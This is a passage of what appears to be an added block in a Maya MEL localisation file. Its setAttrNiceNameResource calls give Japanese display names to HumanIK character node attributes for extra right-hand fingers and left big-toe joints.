+setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Tx", "右手追加指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Ty", "右手追加指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Tz", "右手追加指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1R", "右手追加指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Rx", "右手追加指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Ry", "右手追加指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Rz", "右手追加指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1S", "右手追加指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Sx", "右手追加指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Sy", "右手追加指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1Sz", "右手追加指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", "右手追加指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1RotateAxis", "右手追加指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1RotateAxisx", "右手追加指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1RotateAxisy", "右手追加指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1RotateAxisz", "右手追加指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1JointOrient", "右手追加指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1JointOrientx", "右手追加指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1JointOrienty", "右手追加指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1JointOrientz", "右手追加指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimit", "右手追加指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimitx", "右手追加指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimity", "右手追加指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimitz", "右手追加指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimit", "右手追加指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimitx", "右手追加指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimity", "右手追加指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimitz", "右手追加指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimitEnablex", "右手追加指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimitEnabley", "右手追加指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MinRLimitEnablez", "右手追加指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimitEnablex", "右手追加指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimitEnabley", "右手追加指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger1MaxRLimitEnablez", "右手追加指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2", "右手追加指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2T", "右手追加指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Tx", "右手追加指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Ty", "右手追加指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Tz", "右手追加指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2R", "右手追加指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Rx", "右手追加指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Ry", "右手追加指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Rz", "右手追加指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2S", "右手追加指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Sx", "右手追加指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Sy", "右手追加指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2Sz", "右手追加指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", "右手追加指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2RotateAxis", "右手追加指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2RotateAxisx", "右手追加指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2RotateAxisy", "右手追加指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2RotateAxisz", "右手追加指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2JointOrient", "右手追加指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2JointOrientx", "右手追加指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2JointOrienty", "右手追加指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2JointOrientz", "右手追加指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimit", "右手追加指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimitx", "右手追加指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimity", "右手追加指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimitz", "右手追加指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimit", "右手追加指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimitx", "右手追加指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimity", "右手追加指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimitz", "右手追加指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimitEnablex", "右手追加指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimitEnabley", "右手追加指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MinRLimitEnablez", "右手追加指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimitEnablex", "右手追加指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimitEnabley", "右手追加指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger2MaxRLimitEnablez", "右手追加指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3", "右手追加指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3T", "右手追加指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Tx", "右手追加指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Ty", "右手追加指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Tz", "右手追加指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3R", "右手追加指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Rx", "右手追加指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Ry", "右手追加指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Rz", "右手追加指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3S", "右手追加指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Sx", "右手追加指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Sy", "右手追加指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3Sz", "右手追加指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", "右手追加指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3RotateAxis", "右手追加指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3RotateAxisx", "右手追加指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3RotateAxisy", "右手追加指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3RotateAxisz", "右手追加指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3JointOrient", "右手追加指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3JointOrientx", "右手追加指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3JointOrienty", "右手追加指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3JointOrientz", "右手追加指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimit", "右手追加指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimitx", "右手追加指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimity", "右手追加指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimitz", "右手追加指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimit", "右手追加指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimitx", "右手追加指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimity", "右手追加指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimitz", "右手追加指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimitEnablex", "右手追加指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimitEnabley", "右手追加指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MinRLimitEnablez", "右手追加指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimitEnablex", "右手追加指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimitEnabley", "右手追加指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger3MaxRLimitEnablez", "右手追加指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4", "右手追加指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4T", "右手追加指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Tx", "右手追加指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Ty", "右手追加指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Tz", "右手追加指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4R", "右手追加指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Rx", "右手追加指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Ry", "右手追加指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Rz", "右手追加指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4S", "右手追加指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Sx", "右手追加指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Sy", "右手追加指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4Sz", "右手追加指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", "右手追加指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4RotateAxis", "右手追加指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4RotateAxisx", "右手追加指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4RotateAxisy", "右手追加指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4RotateAxisz", "右手追加指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4JointOrient", "右手追加指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4JointOrientx", "右手追加指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4JointOrienty", "右手追加指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4JointOrientz", "右手追加指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimit", "右手追加指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimitx", "右手追加指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimity", "右手追加指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimitz", "右手追加指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimit", "右手追加指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimitx", "右手追加指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimity", "右手追加指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimitz", "右手追加指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimitEnablex", "右手追加指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimitEnabley", "右手追加指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MinRLimitEnablez", "右手追加指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimitEnablex", "右手追加指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimitEnabley", "右手追加指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandExtraFinger4MaxRLimitEnablez", "右手追加指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1", "左足親指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1T", "左足親指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Tx", "左足親指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Ty", "左足親指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Tz", "左足親指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1R", "左足親指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Rx", "左足親指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Ry", "左足親指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Rz", "左足親指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1S", "左足親指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Sx", "左足親指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Sy", "左足親指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1Sz", "左足親指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", "左足親指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1RotateAxis", "左足親指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1RotateAxisx", "左足親指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1RotateAxisy", "左足親指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1RotateAxisz", "左足親指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1JointOrient", "左足親指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1JointOrientx", "左足親指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1JointOrienty", "左足親指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1JointOrientz", "左足親指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimit", "左足親指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimitx", "左足親指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimity", "左足親指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimitz", "左足親指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimit", "左足親指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimitx", "左足親指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimity", "左足親指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimitz", "左足親指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimitEnablex", "左足親指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimitEnabley", "左足親指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MinRLimitEnablez", "左足親指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimitEnablex", "左足親指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimitEnabley", "左足親指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb1MaxRLimitEnablez", "左足親指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2", "左足親指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2T", "左足親指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Tx", "左足親指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Ty", "左足親指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Tz", "左足親指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2R", "左足親指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Rx", "左足親指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Ry", "左足親指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Rz", "左足親指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2S", "左足親指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Sx", "左足親指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Sy", "左足親指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2Sz", "左足親指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", "左足親指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2RotateAxis", "左足親指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2RotateAxisx", "左足親指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2RotateAxisy", "左足親指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2RotateAxisz", "左足親指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2JointOrient", "左足親指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2JointOrientx", "左足親指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2JointOrienty", "左足親指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2JointOrientz", "左足親指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimit", "左足親指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimitx", "左足親指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimity", "左足親指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimitz", "左足親指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimit", "左足親指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimitx", "左足親指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimity", "左足親指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimitz", "左足親指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimitEnablex", "左足親指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimitEnabley", "左足親指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MinRLimitEnablez", "左足親指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimitEnablex", "左足親指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimitEnabley", "左足親指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb2MaxRLimitEnablez", "左足親指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3", "左足親指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3T", "左足親指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Tx", "左足親指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Ty", "左足親指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Tz", "左足親指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3R", "左足親指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Rx", "左足親指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Ry", "左足親指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Rz", "左足親指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3S", "左足親指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Sx", "左足親指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Sy", "左足親指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3Sz", "左足親指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", "左足親指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3RotateAxis", "左足親指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3RotateAxisx", "左足親指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3RotateAxisy", "左足親指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3RotateAxisz", "左足親指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3JointOrient", "左足親指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3JointOrientx", "左足親指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3JointOrienty", "左足親指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3JointOrientz", "左足親指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimit", "左足親指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimitx", "左足親指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimity", "左足親指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimitz", "左足親指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimit", "左足親指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimitx", "左足親指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimity", "左足親指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimitz", "左足親指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimitEnablex", "左足親指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimitEnabley", "左足親指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MinRLimitEnablez", "左足親指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimitEnablex", "左足親指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimitEnabley", "左足親指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb3MaxRLimitEnablez", "左足親指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4", "左足親指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootThumb4T", "左足親指 4 T" ); +setAttrNiceNameResource( 